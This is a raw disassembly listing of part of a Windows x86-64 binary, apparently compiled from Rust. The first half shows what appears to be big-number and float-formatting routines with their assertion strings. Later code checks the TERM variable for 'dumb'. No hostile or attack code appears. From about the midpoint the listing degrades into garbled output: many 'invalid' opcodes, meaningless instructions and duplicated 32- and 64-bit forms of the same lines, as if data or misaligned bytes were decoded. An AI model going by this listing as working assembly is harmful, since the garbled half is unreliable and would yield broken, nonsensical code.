ja 0x140022c04
mov rdi, r13
lea rax, [rcx*4]
nop dword [rax + rax]
test rax, rax
je 0x140022200
mov r8d, dword [rsp + rax + 0x44c]
xor edx, edx
cmp r8d, dword [rsp + rax + 0xb4]
setne dl
cmova edx, r12d
add rax, 0xfffffffffffffffc
test dl, dl
je 0x1400221c0
cmp dl, 1
ja 0x14002221e
test rcx, rcx
je 0x1400222b1
cmp rcx, 1
jne 0x140022228
mov al, 1
xor edx, edx
jmp 0x14002227b
add rax, rsp
add rax, 0x450
lea rdx, [rsp + 0x450]
cmp rax, rdx
setne dl
neg dl
cmp dl, 1
jbe 0x1400221eb
xor edx, edx
mov rcx, r15
jmp 0x1400222bb
mov r8, rcx
and r8, 0xfffffffffffffffe
mov al, 1
xor edx, edx
nop word cs:[rax + rax]
mov r9d, dword [rsp + rdx*4 + 0x450]
not r9d
movzx eax, al
bt eax, 0
adc dword [rsp + rdx*4 + 0xb8], r9d
mov eax, dword [rsp + rdx*4 + 0x454]
not eax
adc dword [rsp + rdx*4 + 0xbc], eax
lea rdx, [rdx + 2]
setb al
cmp r8, rdx
jne 0x140022240
test cl, 1
je 0x1400222a9
mov r8d, dword [rsp + rdx*4 + 0x450]
not r8d
mov r9d, dword [rsp + rdx*4 + 0xb8]
lea r10d, [r8 + r9]
movzx r11d, al
add r11d, r10d
setb al
mov dword [rsp + rdx*4 + 0xb8], r11d
add r8d, r9d
jb 0x1400222b1
test al, al
je 0x140022c15
mov qword [rsp + 0x158], rcx
mov dl, 8
mov rax, qword [rsp + 0x48]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x140022bf0
lea r8, [rax*4]
nop dword [rax]
test r8, r8
je 0x140022330
mov r10d, dword [rsp + r8 + 0x4f4]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x1400222e0
cmp r9b, 1
ja 0x140022352
test rax, rax
je 0x1400223e1
cmp rax, 1
jne 0x14002235a
mov cl, 1
xor r8d, r8d
jmp 0x1400223ac
add r8, rsp
add r8, 0x4f8
lea r9, [rsp + 0x4f8]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x14002230f
mov rax, rcx
jmp 0x1400223ec
mov r9, rax
and r9, 0xfffffffffffffffe
mov cl, 1
xor r8d, r8d
nop word cs:[rax + rax]
mov r10d, dword [rsp + r8*4 + 0x4f8]
not r10d
movzx ecx, cl
bt ecx, 0
adc dword [rsp + r8*4 + 0xb8], r10d
mov ecx, dword [rsp + r8*4 + 0x4fc]
not ecx
adc dword [rsp + r8*4 + 0xbc], ecx
lea r8, [r8 + 2]
setb cl
cmp r9, r8
jne 0x140022370
test al, 1
je 0x1400223d9
mov r9d, dword [rsp + r8*4 + 0x4f8]
not r9d
mov r10d, dword [rsp + r8*4 + 0xb8]
lea r11d, [r9 + r10]
movzx esi, cl
add esi, r11d
setb cl
mov dword [rsp + r8*4 + 0xb8], esi
add r9d, r10d
jb 0x1400223e1
test cl, cl
je 0x140022c15
mov qword [rsp + 0x158], rax
or dl, 4
mov rcx, qword [rsp + 0x40]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x140022c04
lea r8, [rcx*4]
nop word [rax + rax]
test r8, r8
je 0x140022460
mov r10d, dword [rsp + r8 + 0x59c]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x140022410
cmp r9b, 1
ja 0x140022482
test rcx, rcx
je 0x140022512
cmp rcx, 1
jne 0x14002248a
mov al, 1
xor r8d, r8d
jmp 0x1400224dd
add r8, rsp
add r8, 0x5a0
lea r9, [rsp + 0x5a0]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x14002243f
mov rcx, rax
jmp 0x14002251d
mov r9, rcx
and r9, 0xfffffffffffffffe
mov al, 1
xor r8d, r8d
nop word cs:[rax + rax]
mov r10d, dword [rsp + r8*4 + 0x5a0]
not r10d
movzx eax, al
bt eax, 0
adc dword [rsp + r8*4 + 0xb8], r10d
mov eax, dword [rsp + r8*4 + 0x5a4]
not eax
adc dword [rsp + r8*4 + 0xbc], eax
lea r8, [r8 + 2]
setb al
cmp r9, r8
jne 0x1400224a0
test cl, 1
je 0x14002250a
mov r9d, dword [rsp + r8*4 + 0x5a0]
not r9d
mov r10d, dword [rsp + r8*4 + 0xb8]
lea r11d, [r9 + r10]
movzx esi, al
add esi, r11d
setb al
mov dword [rsp + r8*4 + 0xb8], esi
add r9d, r10d
jb 0x140022512
test al, al
je 0x140022c15
mov qword [rsp + 0x158], rcx
add dl, 2
cmp rcx, rbp
mov r15, rbp
cmova r15, rcx
cmp r15, 0x29
jae 0x140022c2d
lea rax, [r15*4]
nop dword [rax]
test rax, rax
je 0x140022590
mov r9d, dword [rsp + rax + 0x254]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0xb4]
setne r8b
cmova r8d, r12d
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x140022540
cmp r8b, 1
ja 0x1400225b1
test r15, r15
je 0x140022642
cmp r15, 1
jne 0x1400225b9
mov al, 1
xor ecx, ecx
jmp 0x14002260c
add rax, rsp
add rax, 0x258
lea r8, [rsp + 0x258]
cmp rax, r8
setne r8b
neg r8b
cmp r8b, 1
jbe 0x14002256f
mov r15, rcx
jmp 0x14002264c
mov r8, r15
and r8, 0xfffffffffffffffe
mov al, 1
xor ecx, ecx
nop word cs:[rax + rax]
mov r9d, dword [rsp + rcx*4 + 0x258]
not r9d
movzx eax, al
bt eax, 0
adc dword [rsp + rcx*4 + 0xb8], r9d
mov eax, dword [rsp + rcx*4 + 0x25c]
not eax
adc dword [rsp + rcx*4 + 0xbc], eax
lea rcx, [rcx + 2]
setb al
cmp r8, rcx
jne 0x1400225d0
test r15b, 1
je 0x14002263a
mov r8d, dword [rsp + rcx*4 + 0x258]
not r8d
mov r9d, dword [rsp + rcx*4 + 0xb8]
lea r10d, [r8 + r9]
movzx r11d, al
add r11d, r10d
setb al
mov dword [rsp + rcx*4 + 0xb8], r11d
add r8d, r9d
jb 0x140022642
test al, al
je 0x140022c15
mov qword [rsp + 0x158], r15
inc dl
cmp rdi, 0x11
je 0x140022b5a
add dl, 0x30
mov byte [rsp + rdi + 0x57], dl
mov r14, qword [rsp + 0x448]
cmp r15, r14
mov rcx, r14
cmova rcx, r15
cmp rcx, 0x29
jae 0x140022c04
lea r13, [rdi + 1]
shl rcx, 2
nop word cs:[rax + rax]
test rcx, rcx
je 0x1400226c0
mov eax, dword [rsp + rcx + 0x3a4]
xor esi, esi
cmp eax, dword [rsp + rcx + 0xb4]
setne sil
cmova esi, r12d
add rcx, 0xfffffffffffffffc
test sil, sil
je 0x140022690
jmp 0x1400226dc
lea rax, [rsp + rcx]
add rax, 0x3a8
lea rcx, [rsp + 0x3a8]
cmp rax, rcx
setne sil
neg sil
mov r8d, 0xa0
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb8]
call fcn.1400712b0
mov qword [rsp + 0x250], r15
mov rcx, qword [rsp + 0x3a0]
cmp r15, rcx
mov rax, rcx
cmova rax, r15
cmp rax, 0x28
ja 0x140022bf0
test rax, rax
je 0x140022730
cmp rax, 1
jne 0x140022740
xor edx, edx
xor r8d, r8d
jmp 0x1400227a0
xor eax, eax
jmp 0x1400227f0
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop dword [rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0x300]
mov r10d, dword [rsp + rdx*4 + 0x304]
adc dword [rsp + rdx*4 + 0x1b0], r8d
adc dword [rsp + rdx*4 + 0x1b4], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x140022750
test al, 1
jne 0x1400227a0
test r8b, r8b
je 0x1400227f0
jmp 0x1400227d8
mov r9d, dword [rsp + rdx*4 + 0x1b0]
mov r10d, dword [rsp + rdx*4 + 0x300]
lea r11d, [r9 + r10]
movzx ebx, r8b
add ebx, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x1b0], ebx
add r9d, r10d
mov rbx, qword [rsp + 0x80]
jb 0x1400227d8
test r8b, r8b
je 0x1400227f0
cmp rax, 0x27
ja 0x140022bb2
mov dword [rsp + rax*4 + 0x1b0], 1
inc rax
mov qword [rsp + 0x250], rax
cmp rbp, rax
cmova rax, rbp
cmp rax, 0x29
jae 0x140022bf0
shl rax, 2
nop dword [rax]
test rax, rax
je 0x140022840
mov r8d, dword [rsp + rax + 0x1ac]
xor edx, edx
cmp r8d, dword [rsp + rax + 0x254]
setne dl
cmova edx, r12d
add rax, 0xfffffffffffffffc
test dl, dl
je 0x140022810
cmp sil, bl
jge 0x140022862
jmp 0x1400229b7
add rax, rsp
add rax, 0x1b0
lea rdx, [rsp + 0x1b0]
cmp rax, rdx
setne dl
neg dl
cmp sil, bl
jl 0x1400229b7
cmp dl, bl
jl 0x1400229b7
test r15, r15
je 0x1400228d0
lea rdx, [r15*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0xb8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x140022880
test rax, rax
je 0x1400228d3
cmp r15, 0x27
ja 0x140022b8a
mov dword [rsp + r15*4 + 0xb8], eax
inc r15
jmp 0x1400228d3
xor r15d, r15d
mov qword [rsp + 0x158], r15
test r14, r14
je 0x140022940
lea rdx, [r14*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0x3a8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x3a8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1400228f0
test rax, rax
je 0x140022943
cmp r14, 0x27
ja 0x140022b9e
mov dword [rsp + r14*4 + 0x3a8], eax
inc r14
jmp 0x140022943
xor r14d, r14d
mov qword [rsp + 0x448], r14
test rcx, rcx
je 0x140022190
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop word cs:[rax + rax]
mov r9d, dword [rsp + r8 + 0x300]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x300], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x140022970
test rax, rax
je 0x140022192
cmp rcx, 0x27
ja 0x140022b79
mov dword [rsp + rcx*4 + 0x300], eax
inc rcx
jmp 0x140022192
cmp dl, bl
jge 0x140022a91
cmp sil, bl
jge 0x140022a56
lea rcx, [rsp + 0xb8]
mov edx, 1
call fcn.14001c220
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x2f8]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x140022c04
shl rcx, 2
mov eax, 0xff
nop word cs:[rax + rax]
test rcx, rcx
je 0x140022a37
mov r8d, dword [rsp + rcx + 0x254]
xor edx, edx
cmp r8d, dword [rsp + rcx + 0xb4]
setne dl
cmova edx, eax
add rcx, 0xfffffffffffffffc
test dl, dl
je 0x140022a10
jmp 0x140022a51
lea rax, [rsp + rcx]
add rax, 0x258
lea rcx, [rsp + 0x258]
cmp rax, rcx
setne dl
neg dl
cmp dl, 2
jae 0x140022a91
mov r8, 0xffffffffffffffff
mov rcx, r13
test rcx, rcx
je 0x140022b1a
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x56], 0x39
je 0x140022a60
inc byte [rsp + rcx + 0x57]
cmp rax, rdi
ja 0x140022a91
lea rcx, [rsp + rax]
add rcx, 0x57
mov dl, 0x30
call fcn.140071950
cmp rdi, 0x11
jae 0x140022ca2
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x57]
mov rdx, r13
mov r8, qword [rsp + 0x30]
xor r9d, r9d
call fcn.14001c510
mov rdi, qword [rsp + 0x1a8]
mov r15, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x198]
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], r15
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rdx
lea rdx, [rsp + 0x450]
mov rcx, rdi
call fcn.14001f790
nop
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x57], 0x31
test rdi, rdi
je 0x140022b3d
lea rcx, [rsp + 0x58]
mov dl, 0x30
mov r8, rdi
call fcn.140071950
cmp rdi, 0xf
ja 0x140022bdc
mov byte [rsp + rdi + 0x58], 0x30
add rdi, 2
mov rax, qword [rsp + 0x30]
inc eax
mov qword [rsp + 0x30], rax
mov r13, rdi
jmp 0x140022a9b
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
jmp 0x140022b6a
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov ecx, 0x11
mov edx, 0x11
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, r15
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, r14
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov ecx, 0x28
mov edx, 0x28
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, rsi
call fcn.1400736b0
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov edx, 0x11
mov rcx, r13
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, rax
call fcn.140073730
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
call fcn.140073730
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x1a
call fcn.1400737b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, r15
call fcn.140073730
mov r11b, 2
jmp 0x1400212b7
mov qword [rsp + 0x1b0], 0
lea rcx, [rsp + 0x4f8]
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x1b0]
call fcn.140073800
lea rcx, [0x140079db7]
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov edx, 0x1c
call fcn.1400737b0
lea rcx, [0x140079c13]
lea r8, [0x140079c58]
mov edx, 0x1d
call fcn.1400737b0
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov edx, 0x11
mov rcx, r13
call fcn.140073730
int3
and cl, byte [rax - 0x75]
cmp eax, 0x72e30
shl eax, 0x20
shl edi, 0x20
invalid
dec dword [rax - 0x77]
int1
or al, 0
add cl, ch
fsin
invalid
sub esp, 0x20
and byte [rcx + 0x3e083c8], cl
enter 0xffffffffffffe083, 3
loopne 0x140024029
push rax
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 5]
jb 0x140024035
sal byte [rbp + 8], 0x48
or byte [rax - 0x7d], cl
add esp, 0x20
invalid
lea esi, [rcx - 1]
dec dword [rax - 0x75]
jns case.0x14001a737.75
invalid
mov edi, dword [rcx - 1]
dec dword [rax - 0x75]
mov ebx, dword [rcx + 7]
pop rcx
invalid
mov ecx, edi
adc ecx, dword [rax - 0x7d]
jnp case.0x14003f802.72
add byte [rbp + rbx + 0x48], dh
sbb eax, 0x107b8348
cmp dword [rbx + 0x10], 0x11
jnp case.0x140012bf3.106
adc byte [rcx], dl
adc dword [rdx + 4], esi
jg case.0x14002d084.90
clc
or eax, 0x7a249
movabs byte [0xfff88949d2310007], al
adc eax, 0x72e36
invalid
invalid
invalid
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
mov eax, edi
invalid
invalid
add byte [rax - 0x75], cl
or eax, 0x7a237
movabs byte [0x48f08949d2310007], al
add esp, 0x20
invalid
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
invalid
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x72e1c
invalid
sub esp, 0x30
xor byte [rcx + 0xa91e8cb], cl
add byte [rax], al
retf
xchg ecx, eax
or al, byte [rax]
add byte [rax - 0x77], cl
invalid
invalid
invalid
test eax, eax
sal byte [rbp + rax + 0x48], 0x89
imul ebx
push rdx
mov dh, 0xc3
push rsp
and al, 0x28
invalid
sub bh, al
add ah, byte [rax + rax]
add byte fs:[rax], al
add byte [rax], al
add byte [rcx - 0x74b7fbbe], cl
mov ecx, dword [rsi + 0x10]
adc al, r13b
outsd dx, dword [rsi]
cmp al, byte [0x1b4c2c5c4]
sal byte [rsp + rax + 0x31], 0xff
add al, 0x31
invalid
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x72d48
sub rax, 0xffffffffd7ff0007
loopne 0x1400240f6
and byte [rax - 0x73], cl
add bpl, al
cmp edi, edi
invalid
invalid
invalid
or byte [rax - 0x77], cl
int1
or eax, dword [rax]
add byte [rax - 0x77], cl
invalid
invalid
clc
movabs rax, 0xffffffff00
and rax, rcx
enter 0xffffffffffffc148, 0xffffffffffffffe8
invalid
test cl, cl
je case.0x140024155.11
enter 0xffffffffffffc148, 0xffffffffffffffe8
or byte [rcx + rcx*8 - 0x49f0d88c], al
leave
movzx ecx, cl
cmp ecx, 1
jne case.0x140024136.1
stc
add dword [rbp + 0x32], esi
movzx eax, al
ror byte [rax - 0x73], 0xd
invalid
lea rcx, [0x14008db70]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
loopne 0x140024121
call fcn.140024242
and eax, 0xfff0
lock inc dword [rax]
invalid
add eax, 0x25000001
add dword [rax], eax
add byte [0x140034132], ah
lock inc dword [rax]
add bl, ch
adc eax, 0x48c0b60f
movzx eax, al
invalid
add byte [rax], al
jmp 0x140024159
movzx eax, al
ror byte [rax - 0x73], 0xd
lea rcx, [0x14008dbbc]
lea ecx, [0x14008dbbc]
outsb dx, byte [rsi]
invalid
invalid
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x31
loopne 0x140024189
xor eax, eax
ror byte [rax - 0x7d], 0xc4
add rsp, 0x28
add esp, 0x28
sub bl, al
ret
mov ax, 0x80
add byte [rax], 0xeb
jmp 0x140024159
cmc
mov ax, 0xc0
rol byte [rax], 0xeb
out dx, eax
jmp 0x140024159
mov ax, 0x40
add bl, bpl
jmp 0x140a2f9da
mov ax, 0xa0
jmp 0x140024159
mov ax, 0xa0
movabs al, byte [0xeb0020b866e3eb00]
frstor dword [rsi - 0x48]
invalid
invalid
add bl, ch
jmp 0x140024159
jrcxz case.0x1400212ac.39
mov ax, 0x20
mov eax, 0xddeb0020
and byte [rax], al
jmp 0x140024159
mov ax, 0xe0
loopne case.0x140024155.21
jmp 0x140024159
mov ax, 0x60
mov eax, 0xd1eb0060
mov ax, 0x90
nop
invalid
invalid
add bl, ch
jmp 0x140024159
shl dword [rsi - 0x48], 1
mov eax, 0xcbeb0090
nop
add bl, ch
jmp 0x140024159
jmp 0x140024159
mov ax, 0x10
adc byte [rax], al
jmp 0x140024159
mov eax, 0xbfeb00d0
mov ax, 0x50
push rax
invalid
rol byte [rax], 1
jmp 0x140024159
invalid
add bl, ch
mov edi, 0x50b866
push rax
add bl, ch
jmp 0x140024159
mov ax, 0xb0
jmp 0x140024159
mov ax, 0xb0
mov al, 0
jmp 0x140024159
mov eax, 0xadeb0030
add bl, ch
lodsd eax, dword [rsi]
mov ax, 0xf0
jmp 0x140024159
mov ax, 0x70
jo 0x1400241b6
jmp 0x140024159
call fcn.140024242
test dword [rax], eax
add byte [rax], al
and eax, 0xff0f
jmp 0x140024159
mov ax, 8
jmp 0x140024159
mov ax, 0xc
jmp 0x140024159
mov eax, 0x89eb000c
add bl, ch
mov dword [rsi - 0x48], esp
add al, 0
mov ax, 4
jmp 0x140024159
mov ax, 0xa
jmp 0x140024159
invalid
invalid
invalid
mov ax, 2
jmp 0x140024159
mov ax, 0xe
jmp 0x140024159
mov ax, 6
jmp 0x140024159
mov ax, 9
jmp 0x140024159
mov ax, 1
jmp 0x140024159
mov ax, 0xd
jmp 0x140024159
mov ax, 5
jmp 0x140024159
mov ax, 0xb
jmp 0x140024159
mov ax, 3
jmp 0x140024159
mov ax, 0xf
jmp 0x140024159
mov ax, 7
jmp 0x140024159
add byte [rax], al
call fcn.140073b40
int3
nop
add rsp, 0x28
ret
mov rcx, rdi
call fcn.14002401a
lea rdx, str.TERM
adc eax, 0x5ab79
adc eax, 0x5ab79
lea rsi, [rsp + 0x28]
mov r8d, 4
mov rcx, rsi
call fcn.14005ae00
xor edi, edi
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc8
cmp eax, ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
cmp eax, ecx
je 0x140024564
invalid
cmp eax, ecx
je 0x140024564
add byte [rax - 0x7b], cl
sal byte [rbp + rdi*2 + 0x48], 0xb9
add dword [rax], eax
add byte [rax], al
invalid
test rax, rax
test eax, eax
je 0x140024564
movabs rcx, 0x8000000000000001
cmp rax, rcx
cmp eax, ecx
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
cmp eax, ecx
add byte [rax], al
add byte [rax + 0x75c83948], al
cmp eax, ecx
invalid
cmp eax, ecx
jne 0x14002454e
pop rax
mov rax, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
cmp byte [rax - 0x49], al
add dword [rax - 0x7d], ecx
jl case.0x14003f802.110
mov dil, 1
cmp qword [rsp + 0x40], 4
add al, 0x75
invalid
add al, 0x75
add al, 0x75
or eax, dword [rcx - 0x7f]
cmp dword [r8], 0x626d7564
setne dil
cmp byte [rbp + rsi*2 + 0x6d], ah
insd dword [rdi], dx
invalid
test rax, rax
jne 0x140024555
cmp ch, bl
lea rdi, [rsp + 0x28]
jmp 0x140024564
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
call fcn.140025172
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x4074003f], al
cmp dword [rdi], 0
je 0x140024572
mov rdi, qword [rsp + 0x30]
jl 0x14002455a
and al, 0x30
xor al, dh
dec qword [rsi]
lock dec qword [rsi]
jne 0x1400244a8
invalid
invalid
mov rcx, rsi
call fcn.140024c91
invalid
add byte [rax], al
invalid
add byte [rax], al
jmp 0x1400244a8
invalid
dec dword [rbx + rcx*4 + 0x44]
and al, 0x30
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
xor edi, edi
mov rcx, qword [0x14009e2b0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sub dword [rdi], eax
invalid
push rsp
popfq
invalid
sub dword [rdi], eax
add byte [rax - 0x7a], al
cmp eax, 0x79c35
pushfq
invalid
invalid
invalid
xchg byte [0x14009e1a0], dil
pushfq
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x48
pop rdi
pop rdi
pop rsi
ret
mov edx, dword [rsp + 0x2c]
push rsp
and al, 0x2c
test dl, 4
jne 0x14002458e
or edx, 4
mov rcx, rsi
retf 0x4804
add al, 0x48
mov ecx, esi
call fcn.14002514a
add byte [rax - 0x77], cl
invalid
mov rdi, rax
test rax, rax
test eax, eax
test eax, eax
jne 0x140024537
lock dec qword [rsi]
dec qword [rsi]
mov dil, 1
jne 0x140024564
add dword [rbp - 0x33], esi
mov rcx, rsi
mov ecx, esi
call fcn.140024c91
jmp 0x140024564
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x88
add byte [rax], al
add byte [rdi], cl
mov dh, 1
add byte [rax], al
add byte [rdi], cl
mov dh, 1
test rax, rax
sal byte [rbp + riz - 0x7d], 0xf8
je 0x1400245da
cmp eax, 1
jne 0x1400245fa
clc
add dword [rbp + 0x40], esi
mov ebx, dword [rcx + 1]
test bl, bl
je 0x140024666
add dword [rbx + rbx*8 + 0xa1840f], eax
add byte [rax], al
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
mov rax, qword [rdi + 0x18]
lea rdx, [0x14007ef3d]
invalid
invalid
invalid
invalid
test eax, 0x3eeb0005
jmp 0x140024618
mov ebx, dword [rcx + 1]
test bl, bl
je 0x14002467b
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
mov rax, qword [rdi + 0x18]
lea rdx, str.38_3948_4958_5_05_85_95_15_105_25_115_35_125_45_135_55_145_65_155_72_
test eax, 0x1eeb0005
test eax, 0x1eeb0005
add eax, 0x8b1eeb00
pop rcx
add dword [rbx + rbx*8 + 0x8b840f], eax
test bl, bl
je 0x140024690
add byte [rax], al
invalid
invalid
mov ebx, dword [rcx + 1]
test bl, bl
je 0x140024690
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
jb 0x140024629
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
jp 0x140024635
mov rax, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
lea rdx, [0x14007ef42]
lea edx, [0x14007ef42]
sub ch, byte [rcx - 0x47befffb]
add eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 3
mov eax, 3
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov r14, rax
mov esi, eax
call rax
mov ecx, eax
mov al, 1
test cl, cl
leave
add dword [rcx + rcx*8 - 0x7eb7f28c], eax
invalid
leave
je 0x14002463b
or eax, 0x88c48148
add byte [rax], al
add rsp, 0x88
add esp, 0x88
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
ret
movzx ecx, bl
dec ecx
leave
retf
leave
cmp ecx, 0x11
ja case.default.0x140024658
stc
adc dword [rdi + 0x69], esi
mov eax, ebx
shr eax, 8
invalid
invalid
fadd st(1)
call 0x1558f8e55
mov bh, 0x95
lea rdx, [0x14008dc08]
invalid
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
jmp rcx
lea rdx, [0x14007ef45]
adc eax, 0x5a8e4
add cl, ch
fld qword [rax]
add byte [rax], al
invalid
jmp 0x140024743
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14007ef40]
lea edx, [0x14007ef40]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
lea edx, [0x14007ef40]
adc eax, 0x5a8c7
invalid
jmp 0x1400246a3
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x5a8ad
lea rdx, [0x14007ef3b]
jmp 0x1400246a3
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x5a925
mov eax, dword [rax + 0x18]
lea rdx, [0x14007efc8]
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add cl, ch
movabs eax, dword [0xff79e9c031000000]
xor eax, eax
invalid
jns 0x1400246b2
invalid
jmp 0x14002474f
add byte [rax], al
add byte [rcx], dh
xor eax, eax
invalid
jns 0x1400246b2
xor eax, eax
jmp 0x14002462e
dec dword [rax - 0x73]
adc eax, 0x5a88c
lea rdx, [0x14007ef48]
lea edx, [0x14007ef48]
jmp 0x140024743
invalid
lea rdx, [0x14007ef4b]
jmp 0x140024743
add eax, 0x4879eb00
lea edx, [0x14007ef4e]
lea rdx, [0x14007ef4e]
add eax, 0x4870eb00
lea edx, [0x14007ef51]
jmp 0x140024743
lea rdx, [0x14007ef51]
add eax, 0x4858eb00
lea edx, [0x14007ef55]
jmp 0x140024734
lea rdx, [0x14007ef55]
add eax, 0x485eeb00
lea edx, [0x14007ef58]
jmp 0x140024743
lea rdx, [0x14007ef58]
jmp 0x140024734
lea rdx, [0x14007ef5c]
adc eax, 0x5a867
jmp 0x140024743
lea rdx, [0x14007ef5f]
jmp 0x140024734
lea rdx, [0x14007ef63]
jmp 0x140024743
lea rdx, [0x14007ef66]
jmp 0x140024734
lea rdx, [0x14007ef6a]
jmp 0x140024743
lea rdx, [0x14007ef6d]
jmp 0x140024734
add eax, 0x4810eb00
lea edx, [0x14007ef71]
lea rdx, [0x14007ef71]
jmp 0x140024743
lea rdx, [0x14007ef74]
mov r8d, 4
jmp 0x140024749
lea rdx, [0x14007ef78]
mov r8d, 3
mov rcx, rsi
mov rax, r14
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
mov ecx, ebx
shr ecx, 0x10
shr ebx, 0x18
lea rdx, [rsp + 0x26]
